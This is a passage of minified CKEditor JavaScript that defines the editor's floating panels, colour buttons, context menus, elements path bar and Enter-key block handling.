a),CKEDITOR.env.webkit&&a.getDocument().getWindow().focus(),a.focus(),this.onMark&&this.onMark(a))}},proto:{show:function(){this.element.setStyle("display","")},hide:function(){(!this.onHide||!0!==this.onHide.call(this))&&this.element.setStyle("display","none")},onKeyDown:function(a,b){var d=this.keys[a];switch(d){case "next":for(var e=this._.focusIndex,d=this.element.getElementsByTag("a"),c;c=d.getItem(++e);)if(c.getAttribute("_cke_focus")&&c.$.offsetWidth){this._.focusIndex=e;c.focus();break}return!c&&
!b?(this._.focusIndex=-1,this.onKeyDown(a,1)):!1;case "prev":e=this._.focusIndex;for(d=this.element.getElementsByTag("a");0<e&&(c=d.getItem(--e));){if(c.getAttribute("_cke_focus")&&c.$.offsetWidth){this._.focusIndex=e;c.focus();break}c=null}return!c&&!b?(this._.focusIndex=d.count(),this.onKeyDown(a,1)):!1;case "click":case "mouseup":return e=this._.focusIndex,(c=0<=e&&this.element.getElementsByTag("a").getItem(e))&&(c.$[d]?c.$[d]():c.$["on"+d]()),!1}return!0}}})})();CKEDITOR.plugins.add("floatpanel",{requires:"panel"});
(function(){function r(a,b,c,i,f){var f=CKEDITOR.tools.genKey(b.getUniqueId(),c.getUniqueId(),a.lang.dir,a.uiColor||"",i.css||"",f||""),h=g[f];h||(h=g[f]=new CKEDITOR.ui.panel(b,i),h.element=c.append(CKEDITOR.dom.element.createFromHtml(h.render(a),b)),h.element.setStyles({display:"none",position:"absolute"}));return h}var g={};CKEDITOR.ui.floatPanel=CKEDITOR.tools.createClass({$:function(a,b,c,i){function f(){d.hide()}c.forceIFrame=1;c.toolbarRelated&&a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE&&
(b=CKEDITOR.document.getById("cke_"+a.name));var h=b.getDocument(),i=r(a,h,b,c,i||0),j=i.element,l=j.getFirst(),d=this;j.disableContextMenu();this.element=j;this._={editor:a,panel:i,parentElement:b,definition:c,document:h,iframe:l,children:[],dir:a.lang.dir};a.on("mode",f);a.on("resize",f);if(!CKEDITOR.env.iOS)h.getWindow().on("resize",f)},proto:{addBlock:function(a,b){return this._.panel.addBlock(a,b)},addListBlock:function(a,b){return this._.panel.addListBlock(a,b)},getBlock:function(a){return this._.panel.getBlock(a)},
showBlock:function(a,b,c,i,f,h){var j=this._.panel,l=j.showBlock(a);this.allowBlur(!1);a=this._.editor.editable();this._.returnFocus=a.hasFocus?a:new CKEDITOR.dom.element(CKEDITOR.document.$.activeElement);this._.hideTimeout=0;var d=this.element,a=this._.iframe,a=CKEDITOR.env.ie?a:new CKEDITOR.dom.window(a.$.contentWindow),g=d.getDocument(),o=this._.parentElement.getPositionedAncestor(),p=b.getDocumentPosition(g),g=o?o.getDocumentPosition(g):{x:0,y:0},m="rtl"==this._.dir,e=p.x+(i||0)-g.x,k=p.y+(f||
0)-g.y;if(m&&(1==c||4==c))e+=b.$.offsetWidth;else if(!m&&(2==c||3==c))e+=b.$.offsetWidth-1;if(3==c||4==c)k+=b.$.offsetHeight-1;this._.panel._.offsetParentId=b.getId();d.setStyles({top:k+"px",left:0,display:""});d.setOpacity(0);d.getFirst().removeStyle("width");this._.editor.focusManager.add(a);this._.blurSet||(CKEDITOR.event.useCapture=!0,a.on("blur",function(a){function q(){delete this._.returnFocus;this.hide()}this.allowBlur()&&a.data.getPhase()==CKEDITOR.EVENT_PHASE_AT_TARGET&&(this.visible&&!this._.activeChild)&&
(CKEDITOR.env.iOS?this._.hideTimeout||(this._.hideTimeout=CKEDITOR.tools.setTimeout(q,0,this)):q.call(this))},this),a.on("focus",function(){this._.focused=!0;this.hideChild();this.allowBlur(!0)},this),CKEDITOR.env.iOS&&(a.on("touchstart",function(){clearTimeout(this._.hideTimeout)},this),a.on("touchend",function(){this._.hideTimeout=0;this.focus()},this)),CKEDITOR.event.useCapture=!1,this._.blurSet=1);j.onEscape=CKEDITOR.tools.bind(function(a){if(this.onEscape&&this.onEscape(a)===false)return false},
this);CKEDITOR.tools.setTimeout(function(){var a=CKEDITOR.tools.bind(function(){d.removeStyle("width");if(l.autoSize){var a=l.element.getDocument(),a=(CKEDITOR.env.webkit?l.element:a.getBody()).$.scrollWidth;CKEDITOR.env.ie&&(CKEDITOR.env.quirks&&a>0)&&(a=a+((d.$.offsetWidth||0)-(d.$.clientWidth||0)+3));d.setStyle("width",a+10+"px");a=l.element.$.scrollHeight;CKEDITOR.env.ie&&(CKEDITOR.env.quirks&&a>0)&&(a=a+((d.$.offsetHeight||0)-(d.$.clientHeight||0)+3));d.setStyle("height",a+"px");j._.currentBlock.element.setStyle("display",
"none").removeStyle("display")}else d.removeStyle("height");m&&(e=e-d.$.offsetWidth);d.setStyle("left",e+"px");var b=j.element.getWindow(),a=d.$.getBoundingClientRect(),b=b.getViewPaneSize(),c=a.width||a.right-a.left,f=a.height||a.bottom-a.top,i=m?a.right:b.width-a.left,g=m?b.width-a.right:a.left;m?i<c&&(e=g>c?e+c:b.width>c?e-a.left:e-a.right+b.width):i<c&&(e=g>c?e-c:b.width>c?e-a.right+b.width:e-a.left);c=a.top;b.height-a.top<f&&(k=c>f?k-f:b.height>f?k-a.bottom+b.height:k-a.top);if(CKEDITOR.env.ie){b=
a=new CKEDITOR.dom.element(d.$.offsetParent);b.getName()=="html"&&(b=b.getDocument().getBody());b.getComputedStyle("direction")=="rtl"&&(e=CKEDITOR.env.ie8Compat?e-d.getDocument().getDocumentElement().$.scrollLeft*2:e-(a.$.scrollWidth-a.$.clientWidth))}var a=d.getFirst(),n;(n=a.getCustomData("activePanel"))&&n.onHide&&n.onHide.call(this,1);a.setCustomData("activePanel",this);d.setStyles({top:k+"px",left:e+"px"});d.setOpacity(1);h&&h()},this);j.isLoaded?a():j.onLoad=a;CKEDITOR.tools.setTimeout(function(){var a=
CKEDITOR.env.webkit&&CKEDITOR.document.getWindow().getScrollPosition().y;this.focus();l.element.focus();if(CKEDITOR.env.webkit)CKEDITOR.document.getBody().$.scrollTop=a;this.allowBlur(true);this._.editor.fire("panelShow",this)},0,this)},CKEDITOR.env.air?200:0,this);this.visible=1;this.onShow&&this.onShow.call(this)},focus:function(){if(CKEDITOR.env.webkit){var a=CKEDITOR.document.getActive();a&&!a.equals(this._.iframe)&&a.$.blur()}(this._.lastFocused||this._.iframe.getFrameDocument().getWindow()).focus()},
blur:function(){var a=this._.iframe.getFrameDocument().getActive();a&&a.is("a")&&(this._.lastFocused=a)},hide:function(a){if(this.visible&&(!this.onHide||!0!==this.onHide.call(this))){this.hideChild();CKEDITOR.env.gecko&&this._.iframe.getFrameDocument().$.activeElement.blur();this.element.setStyle("display","none");this.visible=0;this.element.getFirst().removeCustomData("activePanel");if(a=a&&this._.returnFocus)CKEDITOR.env.webkit&&a.type&&a.getWindow().$.focus(),a.focus();delete this._.lastFocused;
this._.editor.fire("panelHide",this)}},allowBlur:function(a){var b=this._.panel;void 0!==a&&(b.allowBlur=a);return b.allowBlur},showAsChild:function(a,b,c,g,f,h){this._.activeChild==a&&a._.panel._.offsetParentId==c.getId()||(this.hideChild(),a.onHide=CKEDITOR.tools.bind(function(){CKEDITOR.tools.setTimeout(function(){this._.focused||this.hide()},0,this)},this),this._.activeChild=a,this._.focused=!1,a.showBlock(b,c,g,f,h),this.blur(),(CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat)&&setTimeout(function(){a.element.getChild(0).$.style.cssText+=
""},100))},hideChild:function(a){var b=this._.activeChild;b&&(delete b.onHide,delete this._.activeChild,b.hide(),a&&this.focus())}}});CKEDITOR.on("instanceDestroyed",function(){var a=CKEDITOR.tools.isEmpty(CKEDITOR.instances),b;for(b in g){var c=g[b];a?c.destroy():c.element.hide()}a&&(g={})})})();CKEDITOR.plugins.add("colorbutton",{requires:"panelbutton,floatpanel",init:function(c){function o(m,g,e,h){var i=new CKEDITOR.style(j["colorButton_"+g+"Style"]),k=CKEDITOR.tools.getNextId()+"_colorBox";c.ui.add(m,CKEDITOR.UI_PANELBUTTON,{label:e,title:e,modes:{wysiwyg:1},editorFocus:0,toolbar:"colors,"+h,allowedContent:i,requiredContent:i,panel:{css:CKEDITOR.skin.getPath("editor"),attributes:{role:"listbox","aria-label":f.panelTitle}},onBlock:function(a,b){b.autoSize=!0;b.element.addClass("cke_colorblock");
b.element.setHtml(q(a,g,k));b.element.getDocument().getBody().setStyle("overflow","hidden");CKEDITOR.ui.fire("ready",this);var d=b.keys,e="rtl"==c.lang.dir;d[e?37:39]="next";d[40]="next";d[9]="next";d[e?39:37]="prev";d[38]="prev";d[CKEDITOR.SHIFT+9]="prev";d[32]="click"},refresh:function(){c.activeFilter.check(i)||this.setState(CKEDITOR.TRISTATE_DISABLED)},onOpen:function(){var a=c.getSelection(),a=a&&a.getStartElement(),a=c.elementPath(a),b;if(a){a=a.block||a.blockLimit||c.document.getBody();do b=
a&&a.getComputedStyle("back"==g?"background-color":"color")||"transparent";while("back"==g&&"transparent"==b&&a&&(a=a.getParent()));if(!b||"transparent"==b)b="#ffffff";this._.panel._.iframe.getFrameDocument().getById(k).setStyle("background-color",b);return b}}})}function q(m,g,e){var h=[],i=j.colorButton_colors.split(","),k=c.plugins.colordialog&&!1!==j.colorButton_enableMore,a=i.length+(k?2:1),b=CKEDITOR.tools.addFunction(function(a,b){function d(a){this.removeListener("ok",d);this.removeListener("cancel",
d);"ok"==a.name&&e(this.getContentElement("picker","selectedColor").getValue(),b)}var e=arguments.callee;if("?"==a)c.openDialog("colordialog",function(){this.on("ok",d);this.on("cancel",d)});else{c.focus();m.hide();c.fire("saveSnapshot");c.removeStyle(new CKEDITOR.style(j["colorButton_"+b+"Style"],{color:"inherit"}));if(a){var f=j["colorButton_"+b+"Style"];f.childRule="back"==b?function(a){return p(a)}:function(a){return!(a.is("a")||a.getElementsByTag("a").count())||p(a)};c.applyStyle(new CKEDITOR.style(f,
{color:a}))}c.fire("saveSnapshot")}});h.push('<a class="cke_colorauto" _cke_focus=1 hidefocus=true title="',f.auto,'" onclick="CKEDITOR.tools.callFunction(',b,",null,'",g,"');return false;\" href=\"javascript:void('",f.auto,'\')" role="option" aria-posinset="1" aria-setsize="',a,'"><table role="presentation" cellspacing=0 cellpadding=0 width="100%"><tr><td><span class="cke_colorbox" id="',e,'"></span></td><td colspan=7 align=center>',f.auto,'</td></tr></table></a><table role="presentation" cellspacing=0 cellpadding=0 width="100%">');
for(e=0;e<i.length;e++){0===e%8&&h.push("</tr><tr>");var d=i[e].split("/"),l=d[0],n=d[1]||l;d[1]||(l="#"+l.replace(/^(.)(.)(.)$/,"$1$1$2$2$3$3"));d=c.lang.colorbutton.colors[n]||n;h.push('<td><a class="cke_colorbox" _cke_focus=1 hidefocus=true title="',d,'" onclick="CKEDITOR.tools.callFunction(',b,",'",l,"','",g,"'); return false;\" href=\"javascript:void('",d,'\')" role="option" aria-posinset="',e+2,'" aria-setsize="',a,'"><span class="cke_colorbox" style="background-color:#',n,'"></span></a></td>')}k&&
h.push('</tr><tr><td colspan=8 align=center><a class="cke_colormore" _cke_focus=1 hidefocus=true title="',f.more,'" onclick="CKEDITOR.tools.callFunction(',b,",'?','",g,"');return false;\" href=\"javascript:void('",f.more,"')\"",' role="option" aria-posinset="',a,'" aria-setsize="',a,'">',f.more,"</a></td>");h.push("</tr></table>");return h.join("")}function p(c){return"false"==c.getAttribute("contentEditable")||c.getAttribute("data-nostyle")}var j=c.config,f=c.lang.colorbutton;CKEDITOR.env.hc||(o("TextColor",
"fore",f.textColorTitle,10),o("BGColor","back",f.bgColorTitle,20))}});CKEDITOR.config.colorButton_colors="000,800000,8B4513,2F4F4F,008080,000080,4B0082,696969,B22222,A52A2A,DAA520,006400,40E0D0,0000CD,800080,808080,F00,FF8C00,FFD700,008000,0FF,00F,EE82EE,A9A9A9,FFA07A,FFA500,FFFF00,00FF00,AFEEEE,ADD8E6,DDA0DD,D3D3D3,FFF0F5,FAEBD7,FFFFE0,F0FFF0,F0FFFF,F0F8FF,E6E6FA,FFF";CKEDITOR.config.colorButton_foreStyle={element:"span",styles:{color:"#(color)"},overrides:[{element:"font",attributes:{color:null}}]};
CKEDITOR.config.colorButton_backStyle={element:"span",styles:{"background-color":"#(color)"}};CKEDITOR.plugins.colordialog={requires:"dialog",init:function(b){var c=new CKEDITOR.dialogCommand("colordialog");c.editorFocus=!1;b.addCommand("colordialog",c);CKEDITOR.dialog.add("colordialog",this.path+"dialogs/colordialog.js");b.getColorFromDialog=function(c,f){var d=function(a){this.removeListener("ok",d);this.removeListener("cancel",d);a="ok"==a.name?this.getValueOf("picker","selectedColor"):null;c.call(f,a)},e=function(a){a.on("ok",d);a.on("cancel",d)};b.execCommand("colordialog");if(b._.storedDialogs&&
b._.storedDialogs.colordialog)e(b._.storedDialogs.colordialog);else CKEDITOR.on("dialogDefinition",function(a){if("colordialog"==a.data.name){var b=a.data.definition;a.removeListener();b.onLoad=CKEDITOR.tools.override(b.onLoad,function(a){return function(){e(this);b.onLoad=a;"function"==typeof a&&a.call(this)}})}})}}};CKEDITOR.plugins.add("colordialog",CKEDITOR.plugins.colordialog);CKEDITOR.plugins.add("menu",{requires:"floatpanel",beforeInit:function(g){for(var h=g.config.menu_groups.split(","),m=g._.menuGroups={},l=g._.menuItems={},a=0;a<h.length;a++)m[h[a]]=a+1;g.addMenuGroup=function(b,a){m[b]=a||100};g.addMenuItem=function(a,c){m[c.group]&&(l[a]=new CKEDITOR.menuItem(this,a,c))};g.addMenuItems=function(a){for(var c in a)this.addMenuItem(c,a[c])};g.getMenuItem=function(a){return l[a]};g.removeMenuItem=function(a){delete l[a]}}});
(function(){function g(a){a.sort(function(a,c){return a.group<c.group?-1:a.group>c.group?1:a.order<c.order?-1:a.order>c.order?1:0})}var h='<span class="cke_menuitem"><a id="{id}" class="cke_menubutton cke_menubutton__{name} cke_menubutton_{state} {cls}" href="{href}" title="{title}" tabindex="-1"_cke_focus=1 hidefocus="true" role="{role}" aria-haspopup="{hasPopup}" aria-disabled="{disabled}" {ariaChecked}';CKEDITOR.env.gecko&&CKEDITOR.env.mac&&(h+=' onkeypress="return false;"');CKEDITOR.env.gecko&&
(h+=' onblur="this.style.cssText = this.style.cssText;"');var h=h+(' onmouseover="CKEDITOR.tools.callFunction({hoverFn},{index});" onmouseout="CKEDITOR.tools.callFunction({moveOutFn},{index});" '+(CKEDITOR.env.ie?'onclick="return false;" onmouseup':"onclick")+'="CKEDITOR.tools.callFunction({clickFn},{index}); return false;">'),m=CKEDITOR.addTemplate("menuItem",h+'<span class="cke_menubutton_inner"><span class="cke_menubutton_icon"><span class="cke_button_icon cke_button__{iconName}_icon" style="{iconStyle}"></span></span><span class="cke_menubutton_label">{label}</span>{arrowHtml}</span></a></span>'),
l=CKEDITOR.addTemplate("menuArrow",'<span class="cke_menuarrow"><span>{label}</span></span>');CKEDITOR.menu=CKEDITOR.tools.createClass({$:function(a,b){b=this._.definition=b||{};this.id=CKEDITOR.tools.getNextId();this.editor=a;this.items=[];this._.listeners=[];this._.level=b.level||1;var c=CKEDITOR.tools.extend({},b.panel,{css:[CKEDITOR.skin.getPath("editor")],level:this._.level-1,block:{}}),k=c.block.attributes=c.attributes||{};!k.role&&(k.role="menu");this._.panelDefinition=c},_:{onShow:function(){var a=
this.editor.getSelection(),b=a&&a.getStartElement(),c=this.editor.elementPath(),k=this._.listeners;this.removeAll();for(var e=0;e<k.length;e++){var j=k[e](b,a,c);if(j)for(var i in j){var f=this.editor.getMenuItem(i);if(f&&(!f.command||this.editor.getCommand(f.command).state))f.state=j[i],this.add(f)}}},onClick:function(a){this.hide();if(a.onClick)a.onClick();else a.command&&this.editor.execCommand(a.command)},onEscape:function(a){var b=this.parent;b?b._.panel.hideChild(1):27==a&&this.hide(1);return!1},
onHide:function(){this.onHide&&this.onHide()},showSubMenu:function(a){var b=this._.subMenu,c=this.items[a];if(c=c.getItems&&c.getItems()){b?b.removeAll():(b=this._.subMenu=new CKEDITOR.menu(this.editor,CKEDITOR.tools.extend({},this._.definition,{level:this._.level+1},!0)),b.parent=this,b._.onClick=CKEDITOR.tools.bind(this._.onClick,this));for(var k in c){var e=this.editor.getMenuItem(k);e&&(e.state=c[k],b.add(e))}var j=this._.panel.getBlock(this.id).element.getDocument().getById(this.id+(""+a));setTimeout(function(){b.show(j,
2)},0)}else this._.panel.hideChild(1)}},proto:{add:function(a){a.order||(a.order=this.items.length);this.items.push(a)},removeAll:function(){this.items=[]},show:function(a,b,c,k){if(!this.parent&&(this._.onShow(),!this.items.length))return;var b=b||("rtl"==this.editor.lang.dir?2:1),e=this.items,j=this.editor,i=this._.panel,f=this._.element;if(!i){i=this._.panel=new CKEDITOR.ui.floatPanel(this.editor,CKEDITOR.document.getBody(),this._.panelDefinition,this._.level);i.onEscape=CKEDITOR.tools.bind(function(a){if(!1===
this._.onEscape(a))return!1},this);i.onShow=function(){i._.panel.getHolderElement().getParent().addClass("cke cke_reset_all")};i.onHide=CKEDITOR.tools.bind(function(){this._.onHide&&this._.onHide()},this);f=i.addBlock(this.id,this._.panelDefinition.block);f.autoSize=!0;var d=f.keys;d[40]="next";d[9]="next";d[38]="prev";d[CKEDITOR.SHIFT+9]="prev";d["rtl"==j.lang.dir?37:39]=CKEDITOR.env.ie?"mouseup":"click";d[32]=CKEDITOR.env.ie?"mouseup":"click";CKEDITOR.env.ie&&(d[13]="mouseup");f=this._.element=
f.element;d=f.getDocument();d.getBody().setStyle("overflow","hidden");d.getElementsByTag("html").getItem(0).setStyle("overflow","hidden");this._.itemOverFn=CKEDITOR.tools.addFunction(function(a){clearTimeout(this._.showSubTimeout);this._.showSubTimeout=CKEDITOR.tools.setTimeout(this._.showSubMenu,j.config.menu_subMenuDelay||400,this,[a])},this);this._.itemOutFn=CKEDITOR.tools.addFunction(function(){clearTimeout(this._.showSubTimeout)},this);this._.itemClickFn=CKEDITOR.tools.addFunction(function(a){var b=
this.items[a];if(b.state==CKEDITOR.TRISTATE_DISABLED)this.hide(1);else if(b.getItems)this._.showSubMenu(a);else this._.onClick(b)},this)}g(e);for(var d=j.elementPath(),d=['<div class="cke_menu'+(d&&d.direction()!=j.lang.dir?" cke_mixed_dir_content":"")+'" role="presentation">'],h=e.length,m=h&&e[0].group,l=0;l<h;l++){var n=e[l];m!=n.group&&(d.push('<div class="cke_menuseparator" role="separator"></div>'),m=n.group);n.render(this,l,d)}d.push("</div>");f.setHtml(d.join(""));CKEDITOR.ui.fire("ready",
this);this.parent?this.parent._.panel.showAsChild(i,this.id,a,b,c,k):i.showBlock(this.id,a,b,c,k);j.fire("menuShow",[i])},addListener:function(a){this._.listeners.push(a)},hide:function(a){this._.onHide&&this._.onHide();this._.panel&&this._.panel.hide(a)}}});CKEDITOR.menuItem=CKEDITOR.tools.createClass({$:function(a,b,c){CKEDITOR.tools.extend(this,c,{order:0,className:"cke_menubutton__"+b});this.group=a._.menuGroups[this.group];this.editor=a;this.name=b},proto:{render:function(a,b,c){var h=a.id+(""+
b),e="undefined"==typeof this.state?CKEDITOR.TRISTATE_OFF:this.state,j="",i=e==CKEDITOR.TRISTATE_ON?"on":e==CKEDITOR.TRISTATE_DISABLED?"disabled":"off";this.role in{menuitemcheckbox:1,menuitemradio:1}&&(j=' aria-checked="'+(e==CKEDITOR.TRISTATE_ON?"true":"false")+'"');var f=this.getItems,d="&#"+("rtl"==this.editor.lang.dir?"9668":"9658")+";",g=this.name;this.icon&&!/\./.test(this.icon)&&(g=this.icon);a={id:h,name:this.name,iconName:g,label:this.label,cls:this.className||"",state:i,hasPopup:f?"true":
"false",disabled:e==CKEDITOR.TRISTATE_DISABLED,title:this.label,href:"javascript:void('"+(this.label||"").replace("'")+"')",hoverFn:a._.itemOverFn,moveOutFn:a._.itemOutFn,clickFn:a._.itemClickFn,index:b,iconStyle:CKEDITOR.skin.getIconStyle(g,"rtl"==this.editor.lang.dir,g==this.icon?null:this.icon,this.iconOffset),arrowHtml:f?l.output({label:d}):"",role:this.role?this.role:"menuitem",ariaChecked:j};m.output(a,c)}}})})();CKEDITOR.config.menu_groups="clipboard,form,tablecell,tablecellproperties,tablerow,tablecolumn,table,anchor,link,image,flash,checkbox,radio,textfield,hiddenfield,imagebutton,button,select,textarea,div";CKEDITOR.plugins.add("contextmenu",{requires:"menu",onLoad:function(){CKEDITOR.plugins.contextMenu=CKEDITOR.tools.createClass({base:CKEDITOR.menu,$:function(a){this.base.call(this,a,{panel:{className:"cke_menu_panel",attributes:{"aria-label":a.lang.contextmenu.options}}})},proto:{addTarget:function(a,e){a.on("contextmenu",function(a){var a=a.data,c=CKEDITOR.env.webkit?f:CKEDITOR.env.mac?a.$.metaKey:a.$.ctrlKey;if(!e||!c){a.preventDefault();if(CKEDITOR.env.mac&&CKEDITOR.env.webkit){var c=this.editor,
b=(new CKEDITOR.dom.elementPath(a.getTarget(),c.editable())).contains(function(a){return a.hasAttribute("contenteditable")},!0);b&&"false"==b.getAttribute("contenteditable")&&c.getSelection().fake(b)}var b=a.getTarget().getDocument(),d=a.getTarget().getDocument().getDocumentElement(),c=!b.equals(CKEDITOR.document),b=b.getWindow().getScrollPosition(),g=c?a.$.clientX:a.$.pageX||b.x+a.$.clientX,h=c?a.$.clientY:a.$.pageY||b.y+a.$.clientY;CKEDITOR.tools.setTimeout(function(){this.open(d,null,g,h)},CKEDITOR.env.ie?
200:0,this)}},this);if(CKEDITOR.env.webkit){var f,d=function(){f=0};a.on("keydown",function(a){f=CKEDITOR.env.mac?a.data.$.metaKey:a.data.$.ctrlKey});a.on("keyup",d);a.on("contextmenu",d)}},open:function(a,e,f,d){this.editor.focus();a=a||CKEDITOR.document.getDocumentElement();this.editor.selectionChange(1);this.show(a,e,f,d)}}})},beforeInit:function(a){var e=a.contextMenu=new CKEDITOR.plugins.contextMenu(a);a.on("contentDom",function(){e.addTarget(a.editable(),!1!==a.config.browserContextMenuOnCtrl)});
a.addCommand("contextMenu",{exec:function(){a.contextMenu.open(a.document.getBody())}});a.setKeystroke(CKEDITOR.SHIFT+121,"contextMenu");a.setKeystroke(CKEDITOR.CTRL+CKEDITOR.SHIFT+121,"contextMenu")}});(function(){var k;function n(a,c){function j(d){d=i.list[d];if(d.equals(a.editable())||"true"==d.getAttribute("contenteditable")){var e=a.createRange();e.selectNodeContents(d);e.select()}else a.getSelection().selectElement(d);a.focus()}function s(){l&&l.setHtml(o);delete i.list}var m=a.ui.spaceId("path"),l,i=a._.elementsPath,n=i.idBase;c.html+='<span id="'+m+'_label" class="cke_voice_label">'+a.lang.elementspath.eleLabel+'</span><span id="'+m+'" class="cke_path" role="group" aria-labelledby="'+m+
'_label">'+o+"</span>";a.on("uiReady",function(){var d=a.ui.space("path");d&&a.focusManager.add(d,1)});i.onClick=j;var t=CKEDITOR.tools.addFunction(j),u=CKEDITOR.tools.addFunction(function(d,e){var g=i.idBase,b,e=new CKEDITOR.dom.event(e);b="rtl"==a.lang.dir;switch(e.getKeystroke()){case b?39:37:case 9:return(b=CKEDITOR.document.getById(g+(d+1)))||(b=CKEDITOR.document.getById(g+"0")),b.focus(),!1;case b?37:39:case CKEDITOR.SHIFT+9:return(b=CKEDITOR.document.getById(g+(d-1)))||(b=CKEDITOR.document.getById(g+
(i.list.length-1))),b.focus(),!1;case 27:return a.focus(),!1;case 13:case 32:return j(d),!1}return!0});a.on("selectionChange",function(){for(var d=[],e=i.list=[],g=[],b=i.filters,c=!0,j=a.elementPath().elements,f,k=j.length;k--;){var h=j[k],p=0;f=h.data("cke-display-name")?h.data("cke-display-name"):h.data("cke-real-element-type")?h.data("cke-real-element-type"):h.getName();c=h.hasAttribute("contenteditable")?"true"==h.getAttribute("contenteditable"):c;!c&&!h.hasAttribute("contenteditable")&&(p=1);
for(var q=0;q<b.length;q++){var r=b[q](h,f);if(!1===r){p=1;break}f=r||f}p||(e.unshift(h),g.unshift(f))}e=e.length;for(b=0;b<e;b++)f=g[b],c=a.lang.elementspath.eleTitle.replace(/%1/,f),f=v.output({id:n+b,label:c,text:f,jsTitle:"javascript:void('"+f+"')",index:b,keyDownFn:u,clickFn:t}),d.unshift(f);l||(l=CKEDITOR.document.getById(m));g=l;g.setHtml(d.join("")+o);a.fire("elementsPathUpdate",{space:g})});a.on("readOnly",s);a.on("contentDomUnload",s);a.addCommand("elementsPathFocus",k);a.setKeystroke(CKEDITOR.ALT+
122,"elementsPathFocus")}k={editorFocus:!1,readOnly:1,exec:function(a){(a=CKEDITOR.document.getById(a._.elementsPath.idBase+"0"))&&a.focus(CKEDITOR.env.ie||CKEDITOR.env.air)}};var o='<span class="cke_path_empty">&nbsp;</span>',c="";CKEDITOR.env.gecko&&CKEDITOR.env.mac&&(c+=' onkeypress="return false;"');CKEDITOR.env.gecko&&(c+=' onblur="this.style.cssText = this.style.cssText;"');var v=CKEDITOR.addTemplate("pathItem",'<a id="{id}" href="{jsTitle}" tabindex="-1" class="cke_path_item" title="{label}"'+
c+' hidefocus="true"  onkeydown="return CKEDITOR.tools.callFunction({keyDownFn},{index}, event );" onclick="CKEDITOR.tools.callFunction({clickFn},{index}); return false;" role="button" aria-label="{label}">{text}</a>');CKEDITOR.plugins.add("elementspath",{init:function(a){a._.elementsPath={idBase:"cke_elementspath_"+CKEDITOR.tools.getNextNumber()+"_",filters:[]};a.on("uiSpace",function(c){"bottom"==c.data.space&&n(a,c.data)})}})})();(function(){function m(b,d,a){a=b.config.forceEnterMode||a;"wysiwyg"==b.mode&&(d||(d=b.activeEnterMode),b.elementPath().isContextFor("p")||(d=CKEDITOR.ENTER_BR,a=1),b.fire("saveSnapshot"),d==CKEDITOR.ENTER_BR?p(b,d,null,a):q(b,d,null,a),b.fire("saveSnapshot"))}function r(b){for(var b=b.getSelection().getRanges(!0),d=b.length-1;0<d;d--)b[d].deleteContents();return b[0]}function u(b){var d=b.startContainer.getAscendant(function(a){return a.type==CKEDITOR.NODE_ELEMENT&&"true"==a.getAttribute("contenteditable")},
!0);if(b.root.equals(d))return b;d=new CKEDITOR.dom.range(d);d.moveToRange(b);return d}CKEDITOR.plugins.add("enterkey",{init:function(b){b.addCommand("enter",{modes:{wysiwyg:1},editorFocus:!1,exec:function(b){m(b)}});b.addCommand("shiftEnter",{modes:{wysiwyg:1},editorFocus:!1,exec:function(b){m(b,b.activeShiftEnterMode,1)}});b.setKeystroke([[13,"enter"],[CKEDITOR.SHIFT+13,"shiftEnter"]])}});var v=CKEDITOR.dom.walker.whitespaces(),w=CKEDITOR.dom.walker.bookmark();CKEDITOR.plugins.enterkey={enterBlock:function(b,
d,a,h){if(a=a||r(b)){var a=u(a),f=a.document,i=a.checkStartOfBlock(),k=a.checkEndOfBlock(),j=b.elementPath(a.startContainer),c=j.block,l=d==CKEDITOR.ENTER_DIV?"div":"p",e;if(i&&k){if(c&&(c.is("li")||c.getParent().is("li"))){c.is("li")||(c=c.getParent());a=c.getParent();e=a.getParent();var h=!c.hasPrevious(),n=!c.hasNext(),l=b.getSelection(),g=l.createBookmarks(),i=c.getDirection(1),k=c.getAttribute("class"),o=c.getAttribute("style"),m=e.getDirection(1)!=i,b=b.enterMode!=CKEDITOR.ENTER_BR||m||o||k;
if(e.is("li"))if(h||n)c[h?"insertBefore":"insertAfter"](e);else c.breakParent(e);else{if(b)if(j.block.is("li")?(e=f.createElement(d==CKEDITOR.ENTER_P?"p":"div"),m&&e.setAttribute("dir",i),o&&e.setAttribute("style",o),k&&e.setAttribute("class",k),c.moveChildren(e)):e=j.block,h||n)e[h?"insertBefore":"insertAfter"](a);else c.breakParent(a),e.insertAfter(a);else if(c.appendBogus(!0),h||n)for(;f=c[h?"getFirst":"getLast"]();)f[h?"insertBefore":"insertAfter"](a);else for(c.breakParent(a);f=c.getLast();)f.insertAfter(a);
c.remove()}l.selectBookmarks(g);return}if(c&&c.getParent().is("blockquote")){c.breakParent(c.getParent());c.getPrevious().getFirst(CKEDITOR.dom.walker.invisible(1))||c.getPrevious().remove();c.getNext().getFirst(CKEDITOR.dom.walker.invisible(1))||c.getNext().remove();a.moveToElementEditStart(c);a.select();return}}else if(c&&c.is("pre")&&!k){p(b,d,a,h);return}if(i=a.splitBlock(l)){d=i.previousBlock;c=i.nextBlock;j=i.wasStartOfBlock;b=i.wasEndOfBlock;if(c)g=c.getParent(),g.is("li")&&(c.breakParent(g),
c.move(c.getNext(),1));else if(d&&(g=d.getParent())&&g.is("li"))d.breakParent(g),g=d.getNext(),a.moveToElementEditStart(g),d.move(d.getPrevious());if(!j&&!b)c.is("li")&&(e=a.clone(),e.selectNodeContents(c),e=new CKEDITOR.dom.walker(e),e.evaluator=function(a){return!(w(a)||v(a)||a.type==CKEDITOR.NODE_ELEMENT&&a.getName()in CKEDITOR.dtd.$inline&&!(a.getName()in CKEDITOR.dtd.$empty))},(g=e.next())&&(g.type==CKEDITOR.NODE_ELEMENT&&g.is("ul","ol"))&&(CKEDITOR.env.needsBrFiller?f.createElement("br"):f.createText(" ")).insertBefore(g)),
c&&a.moveToElementEditStart(c);else{if(d){if(d.is("li")||!s.test(d.getName())&&!d.is("pre"))e=d.clone()}else c&&(e=c.clone());e?h&&!e.is("li")&&e.renameNode(l):g&&g.is("li")?e=g:(e=f.createElement(l),d&&(n=d.getDirection())&&e.setAttribute("dir",n));if(f=i.elementPath){h=0;for(l=f.elements.length;h<l;h++){g=f.elements[h];if(g.equals(f.block)||g.equals(f.blockLimit))break;CKEDITOR.dtd.$removeEmpty[g.getName()]&&(g=g.clone(),e.moveChildren(g),e.append(g))}}e.appendBogus();e.getParent()||a.insertNode(e);
